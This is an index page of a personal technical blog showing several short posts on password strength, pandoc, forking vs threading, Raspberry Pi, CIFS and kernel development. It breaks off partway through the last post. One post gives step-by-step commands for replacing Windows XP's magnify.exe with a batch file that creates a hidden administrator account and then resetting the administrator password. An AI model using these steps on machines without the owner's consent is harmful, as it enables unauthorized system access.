<!DOCTYPE html>
<html>
<head>
  <meta charset="utf-8">
  
  <title>Matrix207&#39;s Blog</title>
  <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
  <meta property="og:type" content="website">
<meta property="og:title" content="Matrix207's Blog">
<meta property="og:url" content="http://yoursite.com/page/11/index.html">
<meta property="og:site_name" content="Matrix207's Blog">
<meta name="twitter:card" content="summary">
<meta name="twitter:title" content="Matrix207's Blog">
  
    <link rel="alternate" href="/atom.xml" title="Matrix207&#39;s Blog" type="application/atom+xml">
  
  
    <link rel="icon" href="/favicon.png">
  
  
    <link href="//fonts.googleapis.com/css?family=Source+Code+Pro" rel="stylesheet" type="text/css">
  
  <link rel="stylesheet" href="/css/style.css">
  

</head>

<body>
  <div id="container">
    <div id="wrap">
      <header id="header">
  <div id="banner"></div>
  <div id="header-outer" class="outer">
    <div id="header-title" class="inner">
      <h1 id="logo-wrap">
        <a href="/" id="logo">Matrix207&#39;s Blog</a>
      </h1>
      
    </div>
    <div id="header-inner" class="inner">
      <nav id="main-nav">
        <a id="main-nav-toggle" class="nav-icon"></a>
        
          <a class="main-nav-link" href="/">Home</a>
        
          <a class="main-nav-link" href="/archives">Archives</a>
        
      </nav>
      <nav id="sub-nav">
        
          <a id="nav-rss-link" class="nav-icon" href="/atom.xml" title="Flux RSS"></a>
        
        <a id="nav-search-btn" class="nav-icon" title="Rechercher"></a>
      </nav>
      <div id="search-form-wrap">
        <form action="//google.com/search" method="get" accept-charset="UTF-8" class="search-form"><input type="search" name="q" results="0" class="search-form-input" placeholder="Search"><button type="submit" class="search-form-submit">&#xF002;</button><input type="hidden" name="sitesearch" value="http://yoursite.com"></form>
      </div>
    </div>
  </div>
</header>
      <div class="outer">
        <section id="main">
  
    <article id="post-how-strong-is-your-password" class="article article-type-post" itemscope itemprop="blogPost">
  <div class="article-meta">
    <a href="/2014/04/03/how-strong-is-your-password/" class="article-date">
  <time datetime="2014-04-02T16:00:00.000Z" itemprop="datePublished">2014-04-03</time>
</a>
    
  <div class="article-category">
    <a class="article-category-link" href="/categories/others/">others</a>
  </div>

  </div>
  <div class="article-inner">
    
    
      <header class="article-header">
        
  
    <h1 itemprop="name">
      <a class="article-title" href="/2014/04/03/how-strong-is-your-password/">how strong is your password</a>
    </h1>
  

      </header>
    
    <div class="article-entry" itemprop="articleBody">
      
        <p>When we step into e-age, there are so many time we need to use internect to do<br>things, and then there are so many password we need to use, the password like a<br>key to the lock, we want the only-know guy is ourselves. But hackers can stole<br>them so easy, because we use too many weak password. Thinking, how can the<br>hackers do that, and how to avoid this things happen again, let us start to<br>study, to know what we need?</p>
<h4 id="Questions"><a href="#Questions" class="headerlink" title="Questions"></a>Questions</h4><ul>
<li>How to make a strong password?</li>
<li>How long to crack a password by person machine?</li>
<li>Is there any good and safe online site or software to calculate the strength<br>of password?</li>
<li>How to calculate the strength of password?</li>
</ul>
<h4 id="Methods-of-crack"><a href="#Methods-of-crack" class="headerlink" title="Methods of crack"></a>Methods of crack</h4><ul>
<li><strong>Dictionary attacks</strong><br>This is simple. The attackers just need to keep the 10^6 most common passwords<br>in use, and check each of them once. This can be done well under one second.<br>If your password is in the list, then it can probably be cracked nearly<br>instantaneously.</li>
<li><strong>Brute force</strong><br>If your password isn’t in a dictionary, then one other option is to use brute<br>force. The time taken to crack a password using this method depends on (a) the<br>length of the password, and (b) the symbol set that comprises the password. </li>
<li><strong>Combined methods</strong><br>This relies on a combination of ingenuity and brute force. It’s a mix between<br>the first two methods, and relies on common “password conventions” rather than<br>common passwords.</li>
</ul>
<h4 id="Implement-code"><a href="#Implement-code" class="headerlink" title="Implement code"></a>Implement code</h4><ul>
<li>Implement with C [TODO]</li>
<li>Implement with other language [TODO]</li>
</ul>
<h4 id="Reference"><a href="#Reference" class="headerlink" title="Reference"></a>Reference</h4><ul>
<li><a href="http://en.wikipedia.org/wiki/Password_strength#Password_guess_validation" target="_blank" rel="external">wikipedia: Password strength</a></li>
<li><a href="http://stackoverflow.com/questions/12578851/howsecureismypassword-com-algorithm" target="_blank" rel="external">howsecureismypassword.com algorithm</a></li>
<li><a href="https://howsecureismypassword.net/" target="_blank" rel="external">password strength checking</a></li>
</ul>

      
    </div>
    <footer class="article-footer">
      <a data-url="http://yoursite.com/2014/04/03/how-strong-is-your-password/" data-id="ciqqpe1mo0071nmpv2px211ai" class="article-share-link">Partager</a>
      
      
  <ul class="article-tag-list"><li class="article-tag-list-item"><a class="article-tag-list-link" href="/tags/others/">others</a></li></ul>

    </footer>
  </div>
  
</article>


  
    <article id="post-hack-windows-xp-logon-password" class="article article-type-post" itemscope itemprop="blogPost">
  <div class="article-meta">
    <a href="/2014/03/21/hack-windows-xp-logon-password/" class="article-date">
  <time datetime="2014-03-20T16:00:00.000Z" itemprop="datePublished">2014-03-21</time>
</a>
    
  <div class="article-category">
    <a class="article-category-link" href="/categories/windows/">windows</a>
  </div>

  </div>
  <div class="article-inner">
    
    
      <header class="article-header">
        
  
    <h1 itemprop="name">
      <a class="article-title" href="/2014/03/21/hack-windows-xp-logon-password/">Hack windows xp logon password</a>
    </h1>
  

      </header>
    
    <div class="article-entry" itemprop="articleBody">
      
        <h3 id="Hack-steps"><a href="#Hack-steps" class="headerlink" title="Hack steps:"></a>Hack steps:</h3><p>1.create a batch file, name magnify.bat<br>  add code as below:</p>
<pre><code>@net user hack 123456 /add

@net localgroup administrators hack /add

@exit
</code></pre><p>2.convert magnify.bat to magnify.exe by<br>  bat2com.exe and com2exe.exe, then use<br>  command as below:</p>
<pre><code>bat2com.exe magnify.bat

com2exe.exe magnify.com
</code></pre><p>3.replace file c:/windows/system32/magnify.exe<br>  there are many ways to done this, one way is<br>  burn a WinPE system to a U-disk, then login<br>  the WinPE syste to replace it, you can use<br>  other system(such as linux live CD) also;<br>  another way is mount the hard disk to other<br>  computer to do it.</p>
<p>4.power on computer, type win+u to run magnify<br>  at the logon screen. select and run the magnify program </p>
<p>5.use hack to login, then change the password of<br>  administrator and delete hack in command line.<br>  use commands as below:</p>
<pre><code>net user (list user)

net localgroup administrators (list user belong to administrators group)

net user administrator 123456 (modify password)

net user hack /del (delete user)
</code></pre><p>6.reboot and enjoy.</p>
<h3 id="Reference"><a href="#Reference" class="headerlink" title="Reference:"></a>Reference:</h3><ul>
<li><a href="https://www.doorcome.com/?p=42" target="_blank" rel="external">得到WindowsXP管理员权限的有效方法</a></li>
<li><a href="http://www.computersecuritystudent.com/FORENSICS/Password_Clearing/lesson1/index.html" target="_blank" rel="external">Password Clearing: Clearing out any windows password</a></li>
<li><a href="http://www.pogostick.net/~pnh/ntpasswd/" target="_blank" rel="external">Offline windows password &amp; Registry editor</a></li>
</ul>

      
    </div>
    <footer class="article-footer">
      <a data-url="http://yoursite.com/2014/03/21/hack-windows-xp-logon-password/" data-id="ciqqpe1mj006ynmpv68cmcq64" class="article-share-link">Partager</a>
      
      
  <ul class="article-tag-list"><li class="article-tag-list-item"><a class="article-tag-list-link" href="/tags/windows/">windows</a></li></ul>

    </footer>
  </div>
  
</article>


  
    <article id="post-use-pandoc" class="article article-type-post" itemscope itemprop="blogPost">
  <div class="article-meta">
    <a href="/2014/03/19/use-pandoc/" class="article-date">
  <time datetime="2014-03-18T16:00:00.000Z" itemprop="datePublished">2014-03-19</time>
</a>
    
  <div class="article-category">
    <a class="article-category-link" href="/categories/tools/">tools</a>
  </div>

  </div>
  <div class="article-inner">
    
    
      <header class="article-header">
        
  
    <h1 itemprop="name">
      <a class="article-title" href="/2014/03/19/use-pandoc/">use pandoc</a>
    </h1>
  

      </header>
    
    <div class="article-entry" itemprop="articleBody">
      
        <h3 id="1-introduce"><a href="#1-introduce" class="headerlink" title="1.introduce"></a>1.introduce</h3><p>  Pandoc is a swiss-army knife for coverting files from one markup format into<br>another, it can convert documents in markdown to HTML or pdf. To see more, knock<br>this <a href="http://johnmacfarlane.net/pandoc/" target="_blank" rel="external">link</a></p>
<h3 id="2-use"><a href="#2-use" class="headerlink" title="2. use"></a>2. use</h3><p>install missing packages on fedora:</p>
<pre><code>su -c &apos;yum install texlive-titlesec&apos;
su -c &apos;yum install texlive-titling&apos;
su -c &apos;yum install texlive-lastpage&apos;
</code></pre><p>generate pdf file:</p>
<pre><code>pandoc test.md -o test.pdf
</code></pre><p>using latex to generate pdf file:</p>
<pre><code>pandoc --latex-engine=xelatex  test.md -o test.pdf
</code></pre><p>generate pdf file by specify template:</p>
<pre><code>pandoc --latex-engine=xelatex --template=/home/dennis/template.latex test.md -o test.pdf
</code></pre><h3 id="3-reference"><a href="#3-reference" class="headerlink" title="3.reference"></a>3.reference</h3><ul>
<li><a href="https://github.com/jgm/pandoc" target="_blank" rel="external">pandoc source</a></li>
<li><a href="http://blog.sina.com.cn/s/blog_5ee56d450101dah2.html" target="_blank" rel="external">利用Pandoc将markdown文件转化为pdf</a></li>
<li><a href="http://www.yangzhiping.com/tech/pandoc.html" target="_blank" rel="external">Markdown写作进阶：Pandoc入门浅谈</a></li>
</ul>

      
    </div>
    <footer class="article-footer">
      <a data-url="http://yoursite.com/2014/03/19/use-pandoc/" data-id="ciqqpe1mf006unmpvkdui3e5v" class="article-share-link">Partager</a>
      
      
  <ul class="article-tag-list"><li class="article-tag-list-item"><a class="article-tag-list-link" href="/tags/pandoc/">pandoc</a></li><li class="article-tag-list-item"><a class="article-tag-list-link" href="/tags/write/">write</a></li></ul>

    </footer>
  </div>
  
</article>


  
    <article id="post-forking-and-threading" class="article article-type-post" itemscope itemprop="blogPost">
  <div class="article-meta">
    <a href="/2013/11/21/forking-and-threading/" class="article-date">
  <time datetime="2013-11-20T16:00:00.000Z" itemprop="datePublished">2013-11-21</time>
</a>
    
  <div class="article-category">
    <a class="article-category-link" href="/categories/language/">language</a>
  </div>

  </div>
  <div class="article-inner">
    
    
      <header class="article-header">
        
  
    <h1 itemprop="name">
      <a class="article-title" href="/2013/11/21/forking-and-threading/">Forking and Threading</a>
    </h1>
  

      </header>
    
    <div class="article-entry" itemprop="articleBody">
      
        <p>##Why?</p>
<p>Sometimes, wo need to write some application, which should do multi task, this<br>time fork thread or multithread will show in our brain. But which one should we<br>need exactly, I think we should known them more before make decision.</p>
<p>##what?</p>
<p>History:</p>
<p>Linkers: </p>
<ul>
<li><a href="http://blog.csdn.net/Solstice/article/details/5307710" target="_blank" rel="external">http://blog.csdn.net/Solstice/article/details/5307710</a></li>
<li><a href="http://stackoverflow.com/questions/16354460/forking-vs-threading" target="_blank" rel="external">http://stackoverflow.com/questions/16354460/forking-vs-threading</a></li>
<li><a href="http://stackoverflow.com/questions/2483041/what-is-the-difference-between-fork-and-thread" target="_blank" rel="external">http://stackoverflow.com/questions/2483041/what-is-the-difference-between-fork-and-thread</a></li>
<li><a href="http://guogoul.com/2008/03/23/process/" target="_blank" rel="external">http://guogoul.com/2008/03/23/process/</a></li>
<li><a href="http://blog.csdn.net/blade2001/article/details/6790890" target="_blank" rel="external">http://blog.csdn.net/blade2001/article/details/6790890</a></li>
</ul>
<p>##Forking vs threading</p>
<p><strong>From:</strong> <a href="http://www.geekride.com/fork-forking-vs-threading-thread-linux-kernel/" target="_blank" rel="external">http://www.geekride.com/fork-forking-vs-threading-thread-linux-kernel/</a></p>
<p>So, finally after long time, i am able to figure out the difference between forking and threading :)</p>
<p>When i have been surfing around, i see a lots of threads/questions regarding forking and threading, lots of queries which one should be used in the applications. So i wrote this post which could clarify the difference between these two based on which you could decide what you want to use in your application/scripts.</p>
<h3 id="What-is-Fork-Forking"><a href="#What-is-Fork-Forking" class="headerlink" title="What is Fork/Forking:"></a>What is Fork/Forking:</h3><p>Fork is nothing but a new process that looks exactly like the old or the parent process but still it is a different process with different process ID and having  it’s own memory. Parent process creates a separate address space for child. Both parent and child process possess the same code segment, but execute independently from each other.</p>
<p>The simplest example of forking is when you run a command on shell in unix/linux. Each time a user issues a command, the shell forks a child process and the task is done.</p>
<p>When a fork system call is issued, a copy of all the pages corresponding to the parent process is created, loaded into a separate memory location by the OS for the child process, but in certain cases, this is not needed. Like in ‘exec’ system calls, there is not need to copy the parent process pages, as execv replaces the address space of the parent process itself.<br>Few things to note about forking are:</p>
<ul>
<li>The child process will be having it’s own unique process ID.</li>
<li>The child process shall have it’s own copy of parent’s file descriptor.</li>
<li>File locks set by parent process shall not be inherited by child process.</li>
<li>Any semaphores that are open in the parent process shall also be open in the child process.</li>
<li>Child process shall have it’s own copy of message queue descriptors of the parents.</li>
<li>Child will have it’s own address space and memory.</li>
</ul>
<p>Fork is universally accepted than thread because of the following reasons:</p>
<ul>
<li>Development is much easier on fork based implementations.</li>
<li>Fork based code a more maintainable.</li>
<li>Forking is much safer and more secure because each forked process runs in its own virtual address space. If one process crashes or has a buffer overrun, it does not affect any other process at all.</li>
<li>Threads code is much harder to debug than fork.</li>
<li>Fork are more portable than threads.</li>
<li>Forking is faster than threading on single cpu as there are no locking over-heads or context switching.</li>
</ul>
<p>Some of the applications in which forking is used are: telnetd(freebsd), vsftpd, proftpd, Apache13, Apache2, thttpd, PostgreSQL.</p>
<p>Pitfalls in Fork:</p>
<ul>
<li>In fork, every new process should have it’s own memory/address space, hence a longer startup and stopping time.</li>
<li>If you fork, you have two independent processes which need to talk to each other in some way. This inter-process communication is really costly.</li>
<li>When the parent exits before the forked child, you will get a ghost process. That is all much easier with a thread. You can end, suspend and resume threads from the parent easily. And if your parent exits suddenly the thread will be ended automatically.</li>
<li>In-sufficient storage space could lead the fork system to fail.</li>
</ul>
<h3 id="What-are-Threads-Threading"><a href="#What-are-Threads-Threading" class="headerlink" title="What are Threads/Threading:"></a>What are Threads/Threading:</h3><p>Threads are Light Weight Processes (LWPs). Traditionally, a thread is just a CPU (and some other minimal state) state with the process containing the remains (data, stack, I/O, signals). Threads require less overhead than “forking” or spawning a new process because the system does not initialize a new system virtual memory space and environment for the process. While most effective on a multiprocessor system where the process flow can be scheduled to run on another processor thus gaining speed through parallel or distributed processing, gains are also found on uniprocessor systems which exploit latency in I/O and other system functions which may halt process execution.</p>
<p>Threads in the same process share:</p>
<ul>
<li>Process instructions</li>
<li>Most data</li>
<li>open files (descriptors)</li>
<li>signals and signal handlers</li>
<li>current working directory</li>
<li>User and group id</li>
</ul>
<p>Each thread has a unique:</p>
<ul>
<li>Thread ID</li>
<li>set of registers, stack pointer</li>
<li>stack for local variables, return addresses</li>
<li>signal mask</li>
<li>priority</li>
<li>Return value: errno</li>
</ul>
<p>Few things to note about threading are:</p>
<ul>
<li>Thread are most effective on multi-processor or multi-core systems.</li>
<li>For thread – only one process/thread table and one scheduler is needed.</li>
<li>All threads within a process share the same address space.</li>
<li>A thread does not maintain a list of created threads, nor does it know the thread that created it.</li>
<li>Threads reduce overhead by sharing fundamental parts.</li>
<li>Threads are more effective in memory management because they uses the same memory block of the parent instead of creating new.</li>
</ul>
<p>Pitfalls in threads:</p>
<ul>
<li>Race conditions: The big loss with threads is that there is no natural protection from having multiple threads working on the same data at the same time without knowing that others are messing with it. This is called race condition. While the code may appear on the screen in the order you wish the code to execute, threads are scheduled by the operating system and are executed at random. It cannot be assumed that threads are executed in the order they are created. They may also execute at different speeds. When threads are executing (racing to complete) they may give unexpected results (race condition). Mutexes and joins must be utilized to achieve a predictable execution order and outcome.</li>
<li>Thread safe code: The threaded routines must call functions which are “thread safe”. This means that there are no static or global variables which other threads may clobber or read assuming single threaded operation. If static or global variables are used then mutexes must be applied or the functions must be re-written to avoid the use of these variables. In C, local variables are dynamically allocated on the stack. Therefore, any function that does not use static data or other shared resources is thread-safe. Thread-unsafe functions may be used by only one thread at a time in a program and the uniqueness of the thread must be ensured. Many non-reentrant functions return a pointer to static data. This can be avoided by returning dynamically allocated data or using caller-provided storage. An example of a non-thread safe function is strtok which is also not re-entrant. The “thread safe” version is the re-entrant version strtok_r.</li>
</ul>
<p>Advantages in threads:</p>
<ul>
<li>Threads share the same memory space hence sharing data between them is really faster means inter-process communication (IPC) is real fast.</li>
<li>If properly designed and implemented threads give you more speed because there aint any process level context switching in a multi threaded application.</li>
<li>Threads are really fast to start and terminate.</li>
</ul>
<p>Some of the applications in which threading is used are: MySQL, Firebird, Apache2, MySQL 323</p>
<h3 id="FAQs"><a href="#FAQs" class="headerlink" title="FAQs:"></a>FAQs:</h3><ol>
<li><p>Which should i use in my application ?<br>Ans: That depends on a lot of factors. Forking is more heavy-weight than threading, and have a higher startup and shutdown cost. Interprocess communication (IPC) is also harder and slower than interthread communication. Actually threads really win the race when it comes to inter communication. Conversely, whereas if a thread crashes, it takes down all of the other threads in the process, and if a thread has a buffer overrun, it opens up a security hole in all of the threads.<br>which would share the same address space with the parent process and they only needed a reduced context switch, which would make the context switch more efficient.</p>
</li>
<li><p>Which one is better, threading or forking ?<br>Ans: That is something which totally depends on what you are looking for. Still to answer, In a contemporary Linux (2.6.x) there is not much difference in performance between a context switch of a process/forking compared to a thread (only the MMU stuff is additional for the thread). There is the issue with the shared address space, which means that a faulty pointer in a thread can corrupt memory of the parent process or another thread within the same address space.</p>
</li>
<li><p>What kinds of things should be threaded or multitasked?<br>Ans: If you are a programmer and would like to take advantage of multithreading, the natural question is what parts of the program should/ should not be threaded. Here are a few rules of thumb (if you say “yes” to these, have fun!):</p>
</li>
</ol>
<ul>
<li>Are there groups of lengthy operations that don’t necessarily depend on other processing (like painting a window, printing a document, responding to a mouse-click, calculating a spreadsheet column, signal handling, etc.)?</li>
<li>Will there be few locks on data (the amount of shared data is identifiable and “small”)?</li>
<li>Are you prepared to worry about locking (mutually excluding data regions from other threads), deadlocks (a condition where two COEs have locked data that other is trying to get) and race conditions (a nasty, intractable problem where data is not locked properly and gets corrupted through threaded reads &amp; writes)?</li>
<li>Could the task be broken into various “responsibilities”? E.g. Could one thread handle the signals, another handle GUI stuff, etc.?</li>
</ul>
<h3 id="Conclusions"><a href="#Conclusions" class="headerlink" title="Conclusions:"></a>Conclusions:</h3><ul>
<li>Whether you have to use threading or forking, totally depends on the requirement of your application.</li>
<li>Threads more powerful than events, but power is not something which is always needed.</li>
<li>Threads are much harder to program than forking, so only for experts.</li>
<li>Use threads mostly for performance-critical applications.</li>
</ul>
<h3 id="References"><a href="#References" class="headerlink" title="References:"></a>References:</h3><ul>
<li><a href="http://en.wikipedia.org/wiki/Fork_(operating_system)" target="_blank" rel="external">http://en.wikipedia.org/wiki/Fork_(operating_system)</a></li>
<li><a href="http://tldp.org/FAQ/Threads-FAQ/Comparison.html" target="_blank" rel="external">http://tldp.org/FAQ/Threads-FAQ/Comparison.html</a></li>
<li><a href="http://www.yolinux.com/TUTORIALS/LinuxTutorialPosixThreads.html" target="_blank" rel="external">http://www.yolinux.com/TUTORIALS/LinuxTutorialPosixThreads.html</a></li>
<li><a href="http://linas.org/linux/threads-faq.html" target="_blank" rel="external">http://linas.org/linux/threads-faq.html</a></li>
</ul>

      
    </div>
    <footer class="article-footer">
      <a data-url="http://yoursite.com/2013/11/21/forking-and-threading/" data-id="ciqqpe1mc006rnmpvzrsfarr9" class="article-share-link">Partager</a>
      
      
  <ul class="article-tag-list"><li class="article-tag-list-item"><a class="article-tag-list-link" href="/tags/c/">c++</a></li></ul>

    </footer>
  </div>
  
</article>


  
    <article id="post-programmer-live-as-a-freelancer" class="article article-type-post" itemscope itemprop="blogPost">
  <div class="article-meta">
    <a href="/2013/11/16/programmer-live-as-a-freelancer/" class="article-date">
  <time datetime="2013-11-15T16:00:00.000Z" itemprop="datePublished">2013-11-16</time>
</a>
    
  <div class="article-category">
    <a class="article-category-link" href="/categories/others/">others</a>
  </div>

  </div>
  <div class="article-inner">
    
    
      <header class="article-header">
        
  
    <h1 itemprop="name">
      <a class="article-title" href="/2013/11/16/programmer-live-as-a-freelancer/">programmer live as a freelancer</a>
    </h1>
  

      </header>
    
    <div class="article-entry" itemprop="articleBody">
      
        <p>Reference:  </p>
<ul>
<li><a href="http://en.wikipedia.org/wiki/Freelancer" target="_blank" rel="external">Freelancer wikipedia</a></li>
<li><a href="http://en.wikipedia.org/wiki/Small_office/home_office" target="_blank" rel="external">home office</a></li>
<li><a href="http://zh.wikipedia.org/wiki/居家就業" target="_blank" rel="external">SOHO: small office home office</a></li>
<li><a href="http://baike.baidu.com/link?url=AdVZtG3aS0-NCKu1eH0WCRL2H9gF1Y2YasmPJUQcS44ld7f6rqE7PtSeiajVPCmu" target="_blank" rel="external">soho on baidu</a></li>
<li><a href="http://terrytai.com/posts/143176-2-how-to-begin-soho-1" target="_blank" rel="external">how to begin soho part 1</a></li>
<li><a href="http://terrytai.com/posts/143177-4-remote-full-time-job" target="_blank" rel="external">remote full time job</a></li>
<li><a href="http://www.ifanr.com/365198" target="_blank" rel="external">freelancer grow up</a></li>
<li><a href="http://blog.jobbole.com/category/freelance/" target="_blank" rel="external">freelancer articles</a></li>
<li><a href="http://www.gamasutra.com/view/feature/176317/best_tips_for_building_a_freelance_.php" target="_blank" rel="external">Best Tips for Building a Freelance Career</a></li>
<li><a href="http://alanhollis.com/my-first-year-freelancing/" target="_blank" rel="external">My first year freelancing</a></li>
</ul>

      
    </div>
    <footer class="article-footer">
      <a data-url="http://yoursite.com/2013/11/16/programmer-live-as-a-freelancer/" data-id="ciqqpe1m5006onmpvby4lgsg0" class="article-share-link">Partager</a>
      
      
  <ul class="article-tag-list"><li class="article-tag-list-item"><a class="article-tag-list-link" href="/tags/others/">others</a></li></ul>

    </footer>
  </div>
  
</article>


  
    <article id="post-bitcoin" class="article article-type-post" itemscope itemprop="blogPost">
  <div class="article-meta">
    <a href="/2013/10/30/bitcoin/" class="article-date">
  <time datetime="2013-10-29T16:00:00.000Z" itemprop="datePublished">2013-10-30</time>
</a>
    
  <div class="article-category">
    <a class="article-category-link" href="/categories/others/">others</a>
  </div>

  </div>
  <div class="article-inner">
    
    
      <header class="article-header">
        
  
    <h1 itemprop="name">
      <a class="article-title" href="/2013/10/30/bitcoin/">bitcoin</a>
    </h1>
  

      </header>
    
    <div class="article-entry" itemprop="articleBody">
      
        <p>Reference:  </p>
<ul>
<li><a href="http://bitcoin.org/zh_CN/" target="_blank" rel="external">bitcoin</a></li>
<li><a href="http://bitcoin.org/bitcoin.pdf" target="_blank" rel="external">bitcoin: A Peer-to-Peer Electronic Cash System</a></li>
<li><a href="https://github.com/bitcoin/bitcoin" target="_blank" rel="external">bitcoin on github</a></li>
</ul>

      
    </div>
    <footer class="article-footer">
      <a data-url="http://yoursite.com/2013/10/30/bitcoin/" data-id="ciqqpe1m0006lnmpvfw77izk2" class="article-share-link">Partager</a>
      
      
  <ul class="article-tag-list"><li class="article-tag-list-item"><a class="article-tag-list-link" href="/tags/others/">others</a></li></ul>

    </footer>
  </div>
  
</article>


  
    <article id="post-raspberry-pi" class="article article-type-post" itemscope itemprop="blogPost">
  <div class="article-meta">
    <a href="/2013/10/09/raspberry-pi/" class="article-date">
  <time datetime="2013-10-08T16:00:00.000Z" itemprop="datePublished">2013-10-09</time>
</a>
    
  <div class="article-category">
    <a class="article-category-link" href="/categories/others/">others</a>
  </div>

  </div>
  <div class="article-inner">
    
    
      <header class="article-header">
        
  
    <h1 itemprop="name">
      <a class="article-title" href="/2013/10/09/raspberry-pi/">Raspberry Pi</a>
    </h1>
  

      </header>
    
    <div class="article-entry" itemprop="articleBody">
      
        <h3 id="What-is-it"><a href="#What-is-it" class="headerlink" title="What is it?"></a>What is it?</h3><p>The Raspberry Pi is a credit-card-sized single-board computer developed in the<br>UK by the Raspberry Pi Foundation with the intention of promoting the teaching<br>of basic computer science in schools.</p>
<h3 id="What-it-use-for"><a href="#What-it-use-for" class="headerlink" title="What it use for?"></a>What it use for?</h3><ul>
<li>Media streamer </li>
<li>Web server</li>
<li>video monitor</li>
<li>Download tool</li>
</ul>
<h3 id="What-is-the-show-now"><a href="#What-is-the-show-now" class="headerlink" title="What is the show now?"></a>What is the show now?</h3><h3 id="What-is-more-in-the-future"><a href="#What-is-more-in-the-future" class="headerlink" title="What is more in the future?"></a>What is more in the future?</h3><h3 id="Reference"><a href="#Reference" class="headerlink" title="Reference"></a>Reference</h3><ul>
<li><a href="http://en.wikipedia.org/wiki/Raspberry_Pi" target="_blank" rel="external">raspberry pi on wikipedia</a></li>
<li><a href="http://www.techrepublic.com/blog/european-technology/10-coolest-uses-for-the-raspberry-pi/" target="_blank" rel="external">10 coolest uses for the Raspberry Pi</a></li>
<li><a href="http://reviews.cnet.co.uk/desktops/25-fun-things-to-do-with-a-raspberry-pi-50009851/" target="_blank" rel="external">25 fun things to do with a Raspberry Pi</a></li>
<li><a href="http://www.cnblogs.com/ma6174/archive/2013/01/25/2875617.html" target="_blank" rel="external">Raspberry Pi 试用小记</a></li>
<li><a href="http://hackmessage.lofter.com/post/131e76_3405c1/" target="_blank" rel="external">树莓派可以用来做什么</a></li>
</ul>

      
    </div>
    <footer class="article-footer">
      <a data-url="http://yoursite.com/2013/10/09/raspberry-pi/" data-id="ciqqpe1lw006inmpvo3343ckc" class="article-share-link">Partager</a>
      
      
  <ul class="article-tag-list"><li class="article-tag-list-item"><a class="article-tag-list-link" href="/tags/others/">others</a></li></ul>

    </footer>
  </div>
  
</article>


  
    <article id="post-cifs-protocol-and-implementation" class="article article-type-post" itemscope itemprop="blogPost">
  <div class="article-meta">
    <a href="/2013/09/04/cifs-protocol-and-implementation/" class="article-date">
  <time datetime="2013-09-03T16:00:00.000Z" itemprop="datePublished">2013-09-04</time>
</a>
    
  <div class="article-category">
    <a class="article-category-link" href="/categories/storage/">storage</a>
  </div>

  </div>
  <div class="article-inner">
    
    
      <header class="article-header">
        
  
    <h1 itemprop="name">
      <a class="article-title" href="/2013/09/04/cifs-protocol-and-implementation/">cifs protocol and implementation</a>
    </h1>
  

      </header>
    
    <div class="article-entry" itemprop="articleBody">
      
        <h3 id="Reference"><a href="#Reference" class="headerlink" title="Reference:"></a>Reference:</h3><ul>
<li><a href="http://www.samba.org/" target="_blank" rel="external">Samba web sites</a></li>
<li><a href="https://ftp.samba.org/pub/samba/" target="_blank" rel="external">ftp samba</a></li>
<li><a href="http://www.samba.org/samba/docs/Samba-Developers-Guide.pdf" target="_blank" rel="external">Samba Developers Guide</a></li>
<li><a href="http://ubiqx.org/cifs/" target="_blank" rel="external">Book: Implementing CIFS</a></li>
<li><a href="http://www.ubiqx.org/cifs/SMB.html" target="_blank" rel="external">SMB: The Server Message Block Protocol</a></li>
<li><a href="http://technet.microsoft.com/en-us/library/cc939973.aspx" target="_blank" rel="external">Common Internet File System</a></li>
<li><a href="ftp://ftp.microsoft.com/developr/drg/CIFS/" target="_blank" rel="external">Microsofts CIFS FTP site</a></li>
<li><a href="http://jcifs.samba.org/" target="_blank" rel="external">jCIFS - CIFS client implementation in java</a></li>
<li><a href="http://www.samba.org/cifs/docs/what-is-smb.html" target="_blank" rel="external">Just what is SMB</a></li>
</ul>

      
    </div>
    <footer class="article-footer">
      <a data-url="http://yoursite.com/2013/09/04/cifs-protocol-and-implementation/" data-id="ciqqpe1lt006fnmpvbq445h9m" class="article-share-link">Partager</a>
      
      
  <ul class="article-tag-list"><li class="article-tag-list-item"><a class="article-tag-list-link" href="/tags/network/">network</a></li></ul>

    </footer>
  </div>
  
</article>


  
    <article id="post-hacking-linux-kernel" class="article article-type-post" itemscope itemprop="blogPost">
  <div class="article-meta">
    <a href="/2013/08/28/hacking-linux-kernel/" class="article-date">
  <time datetime="2013-08-27T16:00:00.000Z" itemprop="datePublished">2013-08-28</time>
</a>
    
  <div class="article-category">
    <a class="article-category-link" href="/categories/kernel/">kernel</a>
  </div>

  </div>
  <div class="article-inner">
    
    
      <header class="article-header">
        
  
    <h1 itemprop="name">
      <a class="article-title" href="/2013/08/28/hacking-linux-kernel/">Hacking Linux Kernel</a>
    </h1>
  

      </header>
    
    <div class="article-entry" itemprop="articleBody">
      
        <p>##1. Introduce</p>
<ul>
<li>How to hack the Linux kernel.</li>
<li>Stuffs related to Linux kernel development.</li>
<li>Useful tools for Linux kernel development.</li>
<li>The developing cycle of Linux kernel.</li>
</ul>
<p>##2. Where is Linux kernel?</p>
<ul>
<li><a href="http://www.kernel.org" target="_blank" rel="external">Official website</a></li>
<li><a href="http://bugzilla.kernel.org" target="_blank" rel="external">Bug report</a></li>
<li><a href="http://lkml.org" target="_blank" rel="external">Mail archive site</a></li>
</ul>
<p>##3. Stable Release </p>
<ul>
<li><strong>2.6.x</strong> kernels are maintained by Linus Torvalds.</li>
<li><strong>2.4.x</strong> kernels are maintained by Marcelo Tosatt.</li>
<li><strong>2.2.x</strong> kernels are maintained by Alan Cox.</li>
<li><strong>2.0.x</strong> kernels are maintained by David Weinehall.</li>
<li><strong>-stable</strong> kernels are maintained by Greg KH.</li>
</ul>
<p>##4. Patch</p>
<ul>
<li>How to write a patch</li>
<li>Apply the patch </li>
<li>Patch format</li>
</ul>
<p>##5. Mailing lists</p>
<ul>
<li>The main list: lkml@vger.kernel.org</li>
<li>Read the LKML FAQ before you subscribe.</li>
<li>Linux filesystem development: linux-fsdevel@vger. kernel.org</li>
<li>linux-netdev: netdev@vger.kernel.org</li>
</ul>
<p>##6. Advice</p>
<ul>
<li>Alan Cox: “Ignore everyone who tells you kernel hacking is hard, special or<br>different. It’s a large program, and bug fixing or driver tweaking can be a<br>best starting point. It is however not magic, nor written in a secret language<br>that only deep initiates with beards can read.”</li>
<li>Be persistent, be patient, please.</li>
</ul>
<p>##7. module compile<br>compile dirver “target” for linux-3.10.0-123.el7 :</p>
<ul>
<li>Download kernel code kernel-3.10.0-123.el7.src.rpm</li>
<li>rpm -ivh kernel-3.10.0-123.el7.src.rpm</li>
<li>cp ~/rpmbuild/SOURCES/linux-3.10.0-123.el7.tar.xz /root/</li>
<li>tar xvf linux-3.10.0-123.el7.tar.xz</li>
</ul>
<ul>
